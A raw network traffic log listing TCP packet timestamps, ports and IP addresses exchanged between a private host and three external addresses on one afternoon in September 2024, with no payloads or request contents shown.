Sep 27, 2024 16:18:21.101911068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.102838993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.102871895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.102883101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.102894068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.102988958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.102999926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.103010893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.103022099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.103034019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.103034019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.103043079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.103075027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.103075027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.115722895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115768909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115780115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115792036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.115844965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.115859985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115871906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115901947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.115931988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.115940094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.115951061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116040945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.116059065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116070986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116080999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116108894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.116141081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.116189957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116200924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116210938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116223097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116234064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.116241932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.116262913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.116288900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.133706093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133717060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133727074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133790016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.133790016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.133877039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133887053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133897066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133907080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133918047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.133924007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133934021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.133958101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.133991957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134008884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134018898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134028912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134051085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134079933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134175062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134183884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134195089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134206057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134247065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134247065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134324074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134332895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134361029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134368896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134378910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134392977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134402990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134459019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134546041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134612083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134622097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134654999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134654999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134736061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134744883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134754896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134763956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134776115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134896994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.134988070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.134998083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135008097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135018110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135029078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135035992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135045052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135055065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135063887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135077953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135082960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135082960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135133982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135476112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135485888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135494947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135504961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135514975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135523081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135531902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135545969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135555983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135562897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135564089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135574102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135586023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135590076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135598898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.135607004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.135651112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136044979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136055946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136065006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136074066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136085033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136094093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136104107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136115074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136115074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136121035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136131048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136143923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136153936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136153936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136161089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136171103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136182070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136213064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136213064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136462927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136543036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136603117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136612892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136624098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136634111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136645079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136648893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136660099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136670113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136679888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136688948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.136699915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136699915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136728048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.136728048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.158526897 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.163430929 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:21.168212891 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.188652039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188848019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.188870907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188880920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188890934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188905954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188915014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188925028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188932896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.188947916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.188958883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.188966036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189013004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189018965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189018965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189033985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189043999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189074039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189074039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189121008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189183950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189202070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189212084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189263105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189263105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189332008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189343929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189353943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189363956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189378023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189392090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189416885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189516068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189526081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189562082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.189568043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.189605951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.190583944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190629959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.190644026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190653086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190685987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.190711975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.190766096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190777063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190787077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190797091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.190813065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.190875053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.201093912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201112032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201121092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201152086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201179028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201257944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201299906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201320887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201332092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201375961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201548100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201603889 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201630116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201639891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201680899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.201702118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201713085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.201756001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.202138901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202188015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.202197075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202208042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202239990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.202334881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202347040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202357054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202368021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.202388048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.202413082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.203027010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203083038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.203103065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203113079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203150034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.203227043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203238010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203248024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203259945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.203278065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.203293085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.203965902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.204020023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.204046011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.204056025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.204076052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.204091072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.204116106 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.216886997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.216907024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.216917038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.216943026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.216964960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217011929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217040062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217050076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217057943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217061043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217083931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217111111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217258930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217269897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217281103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.217314005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217340946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.217413902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217425108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217437029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217449903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217459917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217472076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217478991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217485905 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217495918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217505932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217521906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217554092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217608929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217792034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217802048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217816114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217825890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217835903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217845917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.217854023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217860937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.217921972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.218101978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218112946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218127012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218137026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218147039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218153000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.218157053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218167067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218177080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218183994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.218188047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.218214035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.218238115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.221227884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221285105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221293926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221302032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221318960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221328974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221338034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221353054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221362114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221395016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221411943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221422911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221484900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221559048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221570015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221580029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221590996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221600056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221615076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221645117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221645117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221781969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221791983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221801996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221811056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.221824884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.221863031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222182989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222223043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222233057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.222239971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222274065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222274065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.222291946 CEST	80	49615	185.215.113.117	192.168.2.6
